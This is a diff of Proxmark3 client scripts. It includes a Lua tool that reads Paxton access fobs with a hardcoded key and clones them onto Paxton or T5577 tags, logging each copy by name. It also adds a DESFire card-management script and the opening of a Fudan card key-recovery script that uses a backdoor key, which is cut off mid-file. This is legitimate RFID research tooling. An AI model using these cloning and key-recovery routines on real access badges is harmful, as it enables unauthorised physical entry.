error(ac.red..' Error:'..ac.reset..' Not enough data after processing blocks 4, 5, 6, and 7') + end + local id_positions = {9, 11, 13, 15, 2, 4, 6, 8} + local id_numbers = {} + for _, pos in ipairs(id_positions) do + table.insert(id_numbers, all_decimal_values[pos]) + end + local decimal_id = tonumber(table.concat(id_numbers)) + local padded_hex_id = string.format("%010X", decimal_id) + return decimal_id, padded_hex_id +end + +local function name_exists_in_log(name) + local file = io.open(log_file_path, "r") + if not file then + return false + end + local pattern = "^Name:%s*" .. name .. "%s*$" + for line in file:lines() do + if line:match(pattern) then + file:close() + return true + end + end + file:close() + return false +end + +local function log_result(blocks, em410_id, name) + local log_file = io.open(log_file_path, "a") + if log_file then + log_file:write("Name: " .. name .. "\n") + log_file:write("Date: ", os.date("%Y-%m-%d %H:%M:%S"), "\n") + for i = 4, 7 do + log_file:write(string.format("Block %d: %s\n", i, blocks[i] or "nil")) + end + log_file:write(string.format('EM4102 ID: %s\n', em410_id or "nil")) + log_file:write('--------------------------\n') + log_file:close() + print(' Log saved as: pm3/.proxmark3/logs/' ..ac.yellow..' Paxton_log.txt'..ac.reset) + else + print(" Failed to open log file for writing.") + end +end + +local function verify_written_data(original_blocks) + p:console('lf hitag read --ht2 -k BDF5E846') + local result = read_log_file(logfile) + local verified_blocks = parse_blocks(result) + local success = true + for i = 4, 7 do + if original_blocks[i] ~= verified_blocks[i] then + print(' Verification failed.. Block '..ac.green.. i ..ac.reset.. ' inconsistent.') + success = false + end + end + + if success then + print(ac.green..' Verification successful. Data was written correctly.' .. ac.reset) + else + print(ac.yellow.. ' Adjust the position of the Paxton fob on the coil.' .. ac.reset) + end +end + +local function handle_cloning(decimal_id, padded_hex_id, blocks, was_option_3) + while true do + io.write(" Create Paxton choose " .. ac.cyan .. "1" .. ac.reset .. " or EM4102 choose " .. ac.cyan .. "2 " .. ac.reset) + local choice = io.read() + if choice == "1" then + io.write(" Place the" .. ac.cyan .. " Paxton " .. ac.reset .. "Fob on the coil to write.." .. ac.green .. " ENTER " .. ac.reset .. "to continue..") + io.read() + print(dash) + p:console("lf hitag wrbl --ht2 -p 4 -d " .. blocks[4] .. " -k BDF5E846") + p:console("lf hitag wrbl --ht2 -p 5 -d " .. blocks[5] .. " -k BDF5E846") + p:console("lf hitag wrbl --ht2 -p 6 -d " .. blocks[6] .. " -k BDF5E846") + p:console("lf hitag wrbl --ht2 -p 7 -d " .. blocks[7] .. " -k BDF5E846") + reset_log_file() + --timer(5) + verify_written_data(blocks) + elseif choice == "2" then + io.write(" Place the" .. ac.cyan .. " T5577 " .. ac.reset .. "tag on the coil and press" .. ac.green .. " ENTER " .. ac.reset .. "to continue..") + io.read() + p:console("lf em 410x clone --id " .. padded_hex_id) + print(' Cloned EM4102 to T5577 with ID ' ..ac.green.. padded_hex_id ..ac.reset) + else + print(ac.yellow .. " Invalid choice." .. ac.reset .. " Please enter " .. ac.cyan .. "1" .. ac.reset .. " or " .. ac.cyan .. "2" .. ac.reset) + goto ask_again + end + while true do + print(dash) + io.write(" Make next RFID Fob"..ac.cyan.." (y/n) "..ac.reset) + local another = io.read() + if another:lower() == "n" then + if was_option_3 then + print(" No writing to Paxton_log.txt - Name: " ..ac.green.. nam .. ac.reset.. " exist") + return + end + print() + print(ac.green .. " Saving Paxton_log file..." .. ac.reset) + while true do + io.write(" Enter a name for database (cannot be empty/duplicate): "..ac.yellow) + name = io.read() + io.write(ac.reset..'') + if name == nil or name:match("^%s*$") then + print(ac.red .. ' ERROR:'..ac.reset..' Name cannot be empty.') + else + if name_exists_in_log(name) then + print(ac.yellow .. ' Name exists!!! '..ac.reset.. 'Please choose a different name.') + else + break + end + end + end + log_result(blocks, padded_hex_id, name) + print(ac.green .. " Log saved successfully!" .. ac.reset) + reset_log_file() + return + elseif another:lower() == "y" then + goto ask_again + else + print(ac.yellow.." Invalid response."..ac.reset.." Please enter"..ac.cyan.." y"..ac.reset.." or"..ac.cyan.." n"..ac.reset) + end + end + ::ask_again:: + end +end + +local function is_valid_hex(input) + return #input == 8 and input:match("^[0-9A-Fa-f]+$") +end + +local function main(args) + while true do + for o, a in getopt.getopt(args, 'h') do + if o == 'h' then return help() end + end + command('clear') + print(dash) + print(ac.green .. ' Select option: ' .. ac.reset) + print(ac.cyan .. ' 1' .. ac.reset .. ' - Read Paxton blocks 4-7 to make a copy') + print(ac.cyan .. ' 2' .. ac.reset .. ' - Manually input data for Paxton blocks 4-7') + print(ac.cyan .. " 3" .. ac.reset .. " - Search in Paxton_log by name and use the data") + print(dash) + while true do + io.write(' Your choice '..ac.cyan..'(1/2/3): ' .. ac.reset) + input_option = io.read() + if input_option == "1" or input_option == "2" or input_option == "3" then + break + else + print(ac.yellow .. ' Invalid choice.' .. ac.reset .. ' Please enter ' .. ac.cyan .. '1' .. ac.reset .. ' or ' .. ac.cyan .. '2' .. ac.reset..' or'..ac.cyan..' 3'..ac.reset) + end + end + local was_option_3 = false + if input_option == "1" then + local show_place_message = true + while true do + if show_place_message then + io.write(' Place the' .. ac.cyan .. ' Paxton' .. ac.reset .. ' Fob on the coil to read..' .. ac.green .. 'ENTER' .. ac.reset .. ' to continue..') + end + io.read() + print(dash) + p:console('lf hitag read --ht2 -k BDF5E846') + if not logfile then + error(" No files in this directory") + end + local result = read_log_file(logfile) + local blocks = parse_blocks(result) + local empty_block = false + for i = 4, 7 do + if not blocks[i] then + empty_block = true + break + end + end + if empty_block then + io.write(ac.yellow .. ' Adjust the Fob position on the coil.' .. ac.reset .. ' Press' .. ac.green .. ' ENTER' .. ac.reset .. ' to continue..') + show_place_message = false + else + print(' Readed blocks:') + print() + for i = 4, 7 do + if blocks[i] then + print(string.format(" Block %d: %s%s%s", i, ac.yellow, blocks[i], ac.reset)) + end + end + local decimal_id, padded_hex_id + if blocks[5] and (blocks[5]:sub(4, 4) == 'F' or blocks[5]:sub(4, 4) == 'f') then + print(dash) + print(' Identified Paxton ' .. ac.cyan .. 'Net2' .. ac.reset) + decimal_id, padded_hex_id = calculate_id_net({blocks[4], blocks[5]}) + else + print(dash) + print(' Identified Paxton ' .. ac.cyan .. 'Switch2' .. ac.reset) + decimal_id, padded_hex_id = calculate_id_switch({blocks[4], blocks[5], blocks[6], blocks[7]}) + end + print(string.format(" ID for EM4102 is: %s", ac.green .. padded_hex_id .. ac.reset)) + print(dash) + handle_cloning(decimal_id, padded_hex_id, blocks, was_option_3) + break + end + end + elseif input_option == "2" then + local blocks = {} + for i = 4, 7 do + while true do + io.write(ac.reset..' Enter data for block ' .. i .. ': ' .. ac.yellow) + local input = io.read() + input = input:upper() + if is_valid_hex(input) then + blocks[i] = input + break + else + print(ac.yellow .. ' Invalid input.' .. ac.reset .. ' Each block must be 4 bytes (8 hex characters).') + end + end + end + local decimal_id, padded_hex_id + if blocks[5] and (blocks[5]:sub(4, 4) == 'F' or blocks[5]:sub(4, 4) == 'f') then + print(ac.reset.. dash) + print(' Identified Paxton ' .. ac.cyan .. 'Net2' .. ac.reset) + decimal_id, padded_hex_id = calculate_id_net({blocks[4], blocks[5]}) + else + print(ac.reset.. dash) + print(' Identified Paxton ' .. ac.cyan .. 'Switch2' .. ac.reset) + decimal_id, padded_hex_id = calculate_id_switch({blocks[4], blocks[5], blocks[6], blocks[7]}) + end + print(dash) + print(string.format(" ID for EM4102 is: %s", ac.green .. padded_hex_id .. ac.reset)) + print(dash) + if not padded_hex_id then + print(ac.red..' ERROR: '..ac.reset.. 'Invalid block data provided') + return + end + handle_cloning(decimal_id, padded_hex_id, blocks, was_option_3) + break + elseif input_option == "3" then + was_option_3 = true + local retries = 3 + while retries > 0 do + io.write(' Enter the name to search ('..retries..' attempts) : '..ac.yellow) + local user_input = io.read() + io.write(ac.reset..'') + if user_input == nil or user_input:match("^%s*$") then + print(ac.yellow..' Error: '..ac.reset.. 'Empty name !!!') + end + local name_clean = "^Name:%s*" .. user_input:gsub("%s", "%%s") .. "%s*$" + local file = io.open(log_file_path, "r") + if not file then + print(ac.red .. ' Error:'..ac.reset.. 'Could not open log file.') + return + end + local lines = {} + for line in file:lines() do + table.insert(lines, line) + end + file:close() + local found = false + for i = 1, #lines do + if lines[i]:match(name_clean) then + nam = user_input + local blocks = { + [4] = lines[i + 2]:match("Block 4: (.+)"), + [5] = lines[i + 3]:match("Block 5: (.+)"), + [6] = lines[i + 4]:match("Block 6: (.+)"), + [7] = lines[i + 5]:match("Block 7: (.+)") + } + local em4102_id = lines[i + 6]:match("EM4102 ID: (.+)") + print(dash) + print(' I found the data under the name: '..ac.yellow ..nam.. ac.reset) + for j = 4, 7 do + print(string.format(" Block %d: %s%s%s", j, ac.yellow, blocks[j] or "N/A", ac.reset)) + end + print(" EM4102 ID: " .. ac.green .. (em4102_id or "N/A") .. ac.reset) + print(dash) + local decimal_id, padded_hex_id = em4102_id, em4102_id + handle_cloning(decimal_id, padded_hex_id, blocks, was_option_3, nam) + found = true + break + end + end + if not found then + retries = retries - 1 + else + break + end + end + if retries == 0 then + print(ac.yellow .. " Name not found after 3 attempts." .. ac.reset) + end + end + print(dash) + print(' Exiting script Lua...') + return + end +end + +main(args) diff --git a/client/pyscripts/des_talk.py b/client/pyscripts/des_talk.py new file mode 100644 index 000000000..97d7d5e72 --- /dev/null +++ b/client/pyscripts/des_talk.py @@ -0,0 +1,492 @@ +""" +DES Talk - A Proxmark3 DESFire Communication Tool + +Copyright (C) 2025 Trigat + +Description: +This script simplifies the creation and deletion of +DESFire applications and files. It supports USB, Bluetooth, +and Termux connections and has been tested on Android and Linux. + +Note: Modify TCP_PORT below if using TCP app with Android or Termux + +License: GNU General Public License v3.0 + +This program is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +(at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +Full license text: +""" + + +import subprocess +import time +import sys +import os +import re + +try: + import pm3 # Used when inside the pm3 environment + PM3_AVAILABLE = True + p = pm3.pm3() +except ImportError: + PM3_AVAILABLE = False # Use subprocess instead + +# SPECIFY PORT IF USING TCP APP WITH ANDROID OR TERMUX +TCP_PORT = 4444 + +def detect_proxmark_device(): + + # Detect the Proxmark3 connection type (USB, Bluetooth, or TCP). + try: + # Try running `pm3 --list` to detect available Proxmark devices + result = subprocess.run(["pm3", "--list"], capture_output=True, text=True, check=True) + lines = result.stdout.splitlines() + + for line in lines: + if ":" in line: # Expected format: "1: /dev/ttyACM0" or "1: bt:xx:xx:xx:xx:xx" + device = line.split(": ", 1)[1].strip() + print(f"✅ Using Proxmark device: {device}") + return device + except Exception: + print("⚠️ `pm3 --list` failed, falling back to manual detection.") + + # If `pm3 --list` doesn't work, check manually (Android or fallback mode) + usb_devices = ["/dev/ttyACM0", "/dev/ttyACM1", "/dev/ttyUSB0", "/dev/ttyUSB1"] + for dev in usb_devices: + if os.path.exists(dev): + print(f"✅ Using USB device: {dev}") + return dev + + # Default to TCP mode for Android Termux + print(f"⚠️ No USB or Bluetooth device found, defaulting to TCP (localhost:{TCP_PORT})") + return f"tcp:localhost:{TCP_PORT}" + +def send_proxmark_command(command): + + if PM3_AVAILABLE: + p.console(command) + return p.grabbed_output.strip() + + else: + full_command = f"{command}\n" + host_device = detect_proxmark_device() + + process = subprocess.Popen( + ["proxmark3", host_device], + stdin=subprocess.PIPE, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True + ) + + output, error = process.communicate(full_command) + + time.sleep(0.2) # Small delay to let Proxmark process fully + + # Combine stdout and stderr + response_lines = (output or "").splitlines() + (error or "").splitlines() + + # Remove the harmless "STDIN unexpected end" message + filtered_response = "\n".join(line for line in response_lines if "STDIN unexpected end" not in line) + + return filtered_response.strip() + +def authenticate_and_menu(): + + com_mode = input("Enter communication mode (PLAIN, MAC, ENCRYPT) (Default: PLAIN): ").strip() or "plain" + key_type = input("Enter key type (DES, 2TDEA, 3TDEA, AES): ").strip() + key = input("Enter 8, 16, or 24-byte hex key (no spaces): ").strip() + + # Authenticate + auth_command = f"hf mfdes auth -t {key_type} -k {key} -m {com_mode}" + auth_response = send_proxmark_command(auth_command) + print(auth_response) + # print("DEBUG: Raw Proxmark response:\n", repr(auth_response)) + + # Check for Proxmark failure messages + if "error" in auth_response.lower() or "must have" in auth_response.lower(): + print("❌ Authentication failed. Check your connection, mode, key type, and key.") + return + + while True: + # Get AIDs + aids_command = f"hf mfdes getaids -n 0 -t {key_type} -k {key} -m {com_mode}" + aids_response = send_proxmark_command(aids_command) + + # Check for communication mode errors + com_mode_error_match = re.search(r"Wrong communication mode", aids_response) + crc_error_match = re.search(r"CRC32 error", aids_response) + if com_mode_error_match or crc_error_match: + print("❌ Incorrect communication mode.\n") + return + + print(aids_response) + + # Regex to match valid 6-character hex AIDs + hex_pattern = re.compile(r"\b[0-9A-Fa-f]{6}\b") + + aids = [] + for line in aids_response.split("\n"): + if "PM3 UART serial baudrate" in line: + continue + match = hex_pattern.search(line) + if match: + aids.append(match.group(0)) + + if aids: # Check if there are any AIDs + print("\nAvailable AIDs:") + for i, aid in enumerate(aids): + print(f"{i + 1}. {aid}") + else: + print("\n❌ No AID found on the card.") + + print("\nChoose an option:") + print("1. Select an AID") + print("2. Create a new AID") + print("3. Delete an AID") + print("4. Format PICC") + print("5. Show free memory") + print("6. Change keys") + print("7. Exit") + + choice = input("Enter your choice: ").strip() + + if choice == "1": + selected_index = int(input("Select an available AID number (e.g., 1, 2, or 3): ")) - 1 + if selected_index < 0 or selected_index >= len(aids): + print("\nInvalid selection.") + continue + + selected_aid = aids[selected_index] + print(f"\nSelecting AID: {selected_aid}") + + select_command = f"hf mfdes selectapp --aid {selected_aid} -t {key_type} -k {key} -m {com_mode}" + select_response = send_proxmark_command(select_command) + print(select_response) + + # Retrieve AID key 0 + aid_key_type = input(f"Enter AID encryption algorithm (DES, 2TDEA, 3TDEA, AES) (Default: {key_type.upper()}): ").strip() or key_type + aid_key = input(f"Enter AID key (Default: {key}): ").strip() or key + + # Show file menu + aid_file_menu(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + + elif choice == "2": + create_aid(key_type, key, com_mode) + + elif choice == "3": + delete_aid(key_type, key, com_mode) + + elif choice == "4": + format_picc(key_type, key, com_mode) + + elif choice == "5": + free_memory(key_type, key, com_mode) + + elif choice == "6": + change_key(key_type, key, com_mode) + + elif choice == "7": + print("Exiting...") + break + else: + print("Invalid choice, please try again.") + +def aid_file_menu(selected_aid, key_type, key, com_mode, aid_key_type, aid_key): + + while True: + print(f"\n[ AID {selected_aid} is open ]") + print("\nChoose an operation:") + print("1. List Files") + print("2. Read a File") + print("3. Create a File") + print("4. Write to a File") + print("5. Edit File Restrictions") + print("6. Delete a File") + print("7. Back") + + choice = input("Enter your choice: ").strip() + + if choice == "1": + list_files(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "2": + read_file(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "3": + create_file(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "4": + write_to_file(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "5": + edit_file_restriction(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "6": + delete_file(selected_aid, key_type, key, com_mode, aid_key_type, aid_key) + elif choice == "7": + print("Returning to AID selection...") + break + else: + print("Invalid choice, please try again.") + +def create_aid(key_type, key, com_mode): + + aid = input("Enter new AID (6 hex characters, e.g., 112233): ").strip() + iso_fid = input("Enter ISO File ID (4 hex characters, e.g., 1234): ").strip() + dstalgo = input(f"Enter encryption algorithm (DES, 2TDEA, 3TDEA, AES) (Default: {key_type.upper()}): ").strip() or key_type + create_command = f"hf mfdes createapp -n 0 --aid {aid} --fid {iso_fid} --dstalgo {dstalgo} -t {key_type} -k {key} -m {com_mode} -a" + response = send_proxmark_command(create_command) + print(response) + +def delete_aid(key_type, key, com_mode): + + aid = input("Enter AID to delete (6 hex characters): ").strip() + delete_command = f"hf mfdes deleteapp --aid {aid} -n 0 -t {key_type} -k {key} -m {com_mode}" + response = send_proxmark_command(delete_command) + print(response) + +def format_picc(key_type, key, com_mode): + + confirm = input("Are you sure you want to format the PICC? This will erase all data. (y/n): ").strip().lower() + + if confirm == "y": + format_command = f"hf mfdes formatpicc -t {key_type} -k {key} -m {com_mode} -v" + response = send_proxmark_command(format_command) + print(response) + elif confirm == "n": + print("Formatting cancelled.") + else: + print("Invalid input. Please enter 'y' or 'n'.") + +def free_memory(key_type, key, com_mode): + + memory_command = f"hf mfdes freemem -t {key_type} -k {key} -m {com_mode}" + response = send_proxmark_command(memory_command) + + for line in response.splitlines(): + if "Free memory" in line: + print(f"\n✅ {line}") + return + + print("❌ Unable to retrieve free memory information.") + +def change_key(key_type, key, com_mode): + print("\nChange Key - Choose Target:") + print("1. PICC (Card Master Key)") + print("2. Application Key") + + target = input("Change key for (1/2)? (Default: 1): ").strip() or "1" + aid = "" + + if target == "2": + aid = input("Enter 6-digit AID (e.g., 010203): ").strip() + + print("\n!! Verify and securely store the new key !!") + print("Key length guide:") + print(" DES : 8 bytes (16 hex chars)") + print(" 2TDEA : 16 bytes (32 hex chars)") + print(" 3TDEA : 24 bytes (48 hex chars)") + print(" AES : 16 bytes (32 hex chars)") + + newalgo = input(f"Enter new key encryption algorithm (DES, 2TDEA, 3TDEA, AES) " + f"(Default: {key_type.upper()}): ").strip() or key_type + newkey = input(f"Enter new 8, 16, or 24-byte hex key (no spaces) (Default: {key}): ").strip() or key + + confirm = input("Are you sure you want to change the key? (Key 0) (y or n): ").strip().lower() + + if confirm == "y": + changekey_command = f"hf mfdes changekey -n 0 -t {key_type} -k {key} -m {com_mode} " \ + f"--newalgo {newalgo} --newkey {newkey} --newver 00 -v" + if aid: + app_key_type = input(f"Enter original application encryption algorithm (DES, 2TDEA, 3TDEA, AES) " + f"(Default: DES): ").strip() or "DES" + app_key = input(f"Enter original application key " + f"(Default: 0000000000000000): ").strip() or "0000000000000000" + changekey_command = f"hf mfdes changekey -n 0 -t {app_key_type} -k {app_key} -m {com_mode} " \ + f"--newalgo {newalgo} --newkey {newkey} --newver 00 --aid {aid} -v" + + response = send_proxmark_command(changekey_command) + print(response) + print("\nReauthenticate with the master key.") + sys.exit() + + elif confirm == "n": + print("Cancelled.") + else: + print("Invalid input. Please enter 'y' or 'n'.") + +def list_files(aid, key_type, key, com_mode, aid_key_type, aid_key): + print("\nFetching file list...") + command = f"hf mfdes getfileids --aid {aid} -t {aid_key_type} -k {aid_key} -m {com_mode}" + response = send_proxmark_command(command) + + # Extract file IDs by looking for "File ID:" regex + file_ids = [] + for line in response.splitlines(): + match = re.search(r"File ID:\s*([0-9A-Fa-f]{2})", line) + if match: + file_ids.append(match.group(1)) + + if file_ids: + print("\nAvailable File IDs:") + for i, file_id in enumerate(file_ids, 1): + print(f"{i}. {file_id}") + return file_ids + else: + print("No files found in this AID.") + return [] + +def read_file(aid, key_type, key, com_mode, aid_key_type, aid_key): + + file_id = input("Enter file ID to read: ").strip() + + # Get offset and ensure it's a 3-byte hex value (default: 000000) + offset_input = input("Enter offset (default 0): ").strip() or "0" + offset_hex = format(int(offset_input), '06X') # Convert to 3-byte hex + + # Get length and ensure it's a 3-byte hex value (default: 000000 for full read) + length_input = input("Enter length to read (e.g., 16 for 16 bytes, 64 for 64 bytes, default full read): ").strip() or "0" + length_hex = format(int(length_input), '06X') # Convert to 3-byte hex + + read_command = f"hf mfdes read --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} " \ + f"--offset {offset_hex} --length {length_hex} -m {com_mode}" + response = send_proxmark_command(read_command) + + # Extract and display file content + print("\nFile Data:") + for line in response.splitlines(): + if re.search(r"\| [0-9A-Fa-f]{2} .* \|", line): # Matches data table format + print(line) + + return response + +def create_file(aid, key_type, key, com_mode, aid_key_type, aid_key): + + # Prompt for file ID in hex format + file_id = input("Enter file ID (2 hex characters, e.g., 01, 02): ").strip() + # Prompt for file size in KB, allowing for decimal values like 0.2KB + file_size_kb_input = input("Enter file size in KB (e.g., .2 for 0.2KB, 1 for 1KB, 4 for 4KB, 16 for 16KB): ").strip() + # Prefixes "00" to file_id for ISO file ID + iso_file_id = f"00{file_id}" + + try: + # Convert the input to a float + file_size_kb = float(file_size_kb_input) + + if file_size_kb <= 0: + raise ValueError("File size must be greater than 0.") + + # Convert KB to bytes (1 KB = 1024 bytes) + file_size_bytes = int(file_size_kb * 1024) + + if file_size_bytes < 3: + print("⚠️ File size is too small. Setting to minimum size of 3 bytes.") + file_size_bytes = 3 + + # Convert bytes to hexadecimal + file_size_hex = format(file_size_bytes, 'X').upper().zfill(6) + + print(f"File size in bytes: {file_size_bytes} bytes") + print(f"File size in hex: {file_size_hex}") + + except ValueError as e: + print(f"Invalid file size: {e}") + return + + create_command = f"hf mfdes createfile --aid {aid} --fid {file_id} --isofid {iso_file_id} " \ + f"--size {file_size_hex} -t {aid_key_type} -k {aid_key} -m {com_mode}" + response = send_proxmark_command(create_command) + print(response) + +def write_to_file(aid, key_type, key, com_mode, aid_key_type, aid_key): + + file_id = input("Enter file ID to write to: ").strip() + + # Get file size + file_size_command = f"hf mfdes getfilesettings --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} -m {com_mode}" + response = send_proxmark_command(file_size_command) + + # Extract the file size from the response + file_size_match = re.search(r"File size \(bytes\)... (\d+) / 0x([0-9A-Fa-f]+)", response) + if not file_size_match: + print("❌ Unable to determine file size.") + return + + file_size = int(file_size_match.group(1)) # Decimal file size + + print(f"✅ File size detected: {file_size} bytes") + + # Prompt user for data format choice (plain text or hex) + while True: + data_format = input("Enter data format (Type 1 for plain text, 2 for hex): ").strip() + + if data_format == "1": + # Text input (no hex) + write_data = input(f"Enter text to write (up to {file_size} bytes, no need for hex): ").strip() + write_data_hex = write_data.encode().hex().upper() # Convert to hex + break + + elif data_format == "2": + # Hex input + write_data_hex = input(f"Enter hex data to write (up to {file_size * 2} hex chars): ").strip() + if len(write_data_hex) % 2 != 0: # Ensure it's a valid hex string + print("❌ Invalid hex input. Please enter an even number of characters.") + elif len(write_data_hex) // 2 > file_size: + print(f"❌ Data exceeds file size limit of {file_size} bytes. Try again.") + else: + break + else: + print("❌ Invalid choice. Please choose 1 for text or 2 for hex.") + + write_command = f"hf mfdes write --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} -d {write_data_hex} -m {com_mode}" + response = send_proxmark_command(write_command) + print(response) + +def edit_file_restriction(aid, key_type, key, com_mode, aid_key_type, aid_key): + while True: + print("\nNOTE: This only works if you have changed the default keys.") + print("The Proxmark3 and other tools will automatically attempt to read files using DESFire default keys.") + print("\nWould you like to apply or remove a key from the file?") + print("1. Apply key 0 (Requires authentication for access)") + print("2. Remove key (Make file freely accessible)") + print("3. Back") + + choice = input("Enter your choice (1, 2, or 3): ").strip() + + if choice == "3": + print("Returning to the previous menu.") + break + + file_id = input("Enter file ID to update: ").strip() + + if choice == "1": + edit_file_command = f"hf mfdes chfilesettings --rawrights 0000 --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} -m {com_mode}" + print("Applying key 0 for read, write, and change access. This ensures authentication is required to access the file.") + + elif choice == "2": + # Must use encrypt communications mode to remove restrictions + edit_file_command = f"hf mfdes chfilesettings --rawrights EEEE --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} -m encrypt" + print("Removing key restrictions. File will be freely accessible.") + + else: + print("❌ Invalid choice. Please enter 1, 2, or 3.") + continue + + response = send_proxmark_command(edit_file_command) + print(response) + break + +def delete_file(aid, key_type, key, com_mode, aid_key_type, aid_key): + + file_id = input("Enter file ID to delete: ").strip() + + delete_command = f"hf mfdes deletefile --aid {aid} --fid {file_id} -t {aid_key_type} -k {aid_key} -m {com_mode}" + response = send_proxmark_command(delete_command) + print(response) + +if __name__ == "__main__": + authenticate_and_menu() diff --git a/client/pyscripts/findbits.py b/client/pyscripts/findbits.py index 809465a2e..4cc3b92d9 100755 --- a/client/pyscripts/findbits.py +++ b/client/pyscripts/findbits.py @@ -31,7 +31,7 @@ def invert(data): def search(target,data): location = data.find(target) if location >= 0: - print('*** Match at bit {:d}: {}<{}>{}'.format(location, data[:location],target,data[location+len(target):])) + print('*** Match at bit {:d}: {}<{}>{}'.format(location, data[:location], target,data[location + len(target):])) else: print('Not found') diff --git a/client/pyscripts/fm11rf08s_full.py b/client/pyscripts/fm11rf08s_full.py new file mode 100644 index 000000000..8d1765b84 --- /dev/null +++ b/client/pyscripts/fm11rf08s_full.py @@ -0,0 +1,1081 @@ +#!/usr/bin/env python3 +"""This script recovers Fudan FM11RF08S cards, including functionalities for Bambu tags decoding.""" + +# ------------------------------------------------------------------------------ +# Imports +# +import re +import os +import sys +import argparse +import pm3 +import struct +import json + +from fm11rf08s_recovery import recovery + +author = "@csBlueChip" +script_ver = "1.4.0" + +# Copyright @csBlueChip + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# See LICENSE.txt for the text of the license. + +# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +# The original version of this script can be found at: +# https://github.com/csBlueChip/Proxmark_Stuff/tree/main/MiFare_Docs/Fudan_RF08S/PM3_Script +# The original version is released with an MIT Licence. +# Or please reach out to me [BlueChip] personally for alternative licenses. + + +# optional color support .. `pip install ansicolors` +try: + from colors import color +except ModuleNotFoundError: + def color(s, fg=None): + """Return the string as such, without color.""" + _ = fg + return str(s) + + +def initlog(): + """Print and Log: init globals. + + globals: + - logbuffer (W) + - logfile (W) + """ + global logbuffer + global logfile + logbuffer = '' + logfile = None + + +def startlog(uid, dpath, append=False): + """Print and Log: set logfile and flush logbuffer. + + globals: + - logbuffer (RW) + - logfile (RW) + """ + global logfile + global logbuffer + + logfile = f"{dpath}hf-mf-{uid.hex().upper()}-log.txt" + if append is False: + with open(logfile, 'w'): + pass + if logbuffer != '': + with open(logfile, 'a') as f: + f.write(logbuffer) + logbuffer = '' + + +def lprint(s='', end='\n', flush=False, prompt="[" + color("=", fg="yellow") + "] ", log=True): + """Print and Log. + + globals: + - logbuffer (RW) + - logfile (R) + """ + s = f"{prompt}" + f"\n{prompt}".join(s.split('\n')) + safe_s = s.encode('utf-8', errors='ignore').decode('utf-8') + print(safe_s, end=end, flush=flush) + + if log is True: + global logbuffer + if logfile is not None: + with open(logfile, 'a', encoding='utf-8') as f: + f.write(safe_s + end) + else: + # buffering + logbuffer += s + end + + +def main(): + """== MAIN ==. + + globals: + - p (W) + """ + global p + p = pm3.pm3() # console interface + initlog() + + if not checkVer(): + return + dpath = getPrefs() + args = parseCli() + + # No logfile name yet + lprint("Fudan FM11RF08S full card recovery") + lprint("\nDump folder... " + color(f"{dpath}", fg="yellow")) + + # FIXME: script is announced as for RF08 and for RF08S but it comprises RF32N key + # and if RF08 is supported, all other NXP/Infineon with same backdoor can be treated + # by the same script (once properly implemented, see other FIXME) + bdkey, blk0 = getBackdoorKey() + if bdkey is None: + return + uid = getUIDfromBlock0(blk0) + startlog(uid, dpath, append=False) + decodeBlock0(blk0) + fudanValidate(blk0, args.validate) + + mad = False + keyfile = f"{dpath}hf-mf-{uid.hex().upper()}-key.bin" + + # FIXME: nr of sectors depend on the tag. RF32N is 40, RF32 is 64, RF08 is 16, RF08S is 16+1 + # Currently loadKeys is hardcoded for RF08S + if args.force or (key := loadKeys(keyfile)) is None: + if args.recover is False: + s = color("--recover", fg="yellow") + lprint(f" Keys not loaded, use {s} to run recovery script [slow]", prompt="[" + color("!", fg="red") + "]") + else: + # FIXME: recovery() is only for RF08S. TODO for the other ones with a "darknested" attack + keyfile = recoverKeys(uid=uid, kdf=[["Bambu v1", kdfBambu1]]) + if keyfile is False: + lprint("Script failed - aborting") + return + key = loadKeys(keyfile) + + if key is not None: + ret, mad, key = verifyKeys(key) + if ret is False: + if args.nokeys is False: + s = color("--nokeys", fg="yellow") + lprint(f" Use {s} to keep going past this point", prompt="[" + color("!", fg="red") + "]") + return + + # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8 + # Currently readBlocks is hardcoded for RF08S + data, blkn = readBlocks(bdkey, args.fast) + data = patchKeys(data, key) + + dump18 = diskDump(data, uid, dpath) # save it before you do anything else + + dumpData(data, blkn) + + # FIXME: nr of blocks depend on the tag. RF32 is 256, RF08 is 64, RF08S is 64+8, + # Currently dumpAcl is hardcoded for RF08S + dumpAcl(data) + + if (mad is True) or (args.mad is True): + dumpMad(dump18) + + if (args.bambu is True) or (detectBambu(data) is True): + dumpBambu(data) + + lprint("\nTadah!") + + return + + +def getPrefs(): + """Get PM3 preferences. + + globals: + - p (R) + """ + p.console("prefs show --json") + prefs = json.loads(p.grabbed_output) + dpath = prefs['file.default.dumppath'] + os.path.sep + return dpath + + +def checkVer(): + """Assert python version.""" + required_version = (3, 8) + if sys.version_info < required_version: + print(f"Python version: {sys.version}") + print(f"The script needs at least Python v{required_version[0]}.{required_version[1]}. Abort.") + return False + return True + + +def parseCli(): + """Parse the CLi arguments.""" + parser = argparse.ArgumentParser(description='Full recovery of Fudan FM11RF08S cards.') + + parser.add_argument('-n', '--nokeys', action='store_true', help='extract data even if keys are missing') + parser.add_argument('-r', '--recover', action='store_true', help='run key recovery script if required') + 